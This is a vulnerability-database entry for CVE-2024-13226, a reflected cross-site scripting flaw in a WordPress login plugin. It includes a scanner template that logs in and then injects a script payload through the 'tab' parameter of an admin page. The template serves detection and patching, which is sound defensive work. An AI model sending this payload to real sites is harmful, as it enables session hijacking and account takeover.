A5 Custom Login Page - Reflected XSS
CVE-2024-13226
Verified
Description
A5 Custom Login Page WordPress plugin v2.8.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires a crafted URL or input.
Severity
Medium
CVSS Score
6.1
Exploit Probability
1%
Published Date
February 7, 2026
Template Author
sourabh-sahu
CVE-2024-13226.yaml
id: CVE-2024-13226
info:
name: A5 Custom Login Page - Reflected XSS
author: Sourabh-Sahu
severity: medium
description: |
A5 Custom Login Page WordPress plugin v2.8.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires a crafted URL or input.
impact: |
Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
remediation: |
Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.
reference:
- https://wpscan.com/vulnerability/dd09fe99-2334-4d6f-8a70-e1cd856b1486/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-13226
cwe-id: CWE-79
epss-score: 0.00577
epss-percentile: 0.43476
cpe: cpe:2.3:a:tepelstreel:a5_custom_login_page:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
publicwww-query: "/plugins/custom-login-page/"
tags: cve,cve2024,tepelstreel,custom-login-page,authenticated,wordpress,wp-plugin,wp,xss
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=clp-settings&tab=testxss"></script><script>alert(document.domain)</script><script> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "></script><script>alert(document.domain)</script><script>","custom-login-page")
condition: and
# digest: 490a0046304402203d6cc70d84827139f5ba57876f54fd8744f78e46a7000c3b793e28506be098320220136f79339668696bfb8e4b6e9aa8fc95c70c954cad58eb2f8a0a39f5e634dda3:922c64590222798bb761d5b6d8e729506.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2024-13226
CWE ID:
cwe-79
Remediation Steps
Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.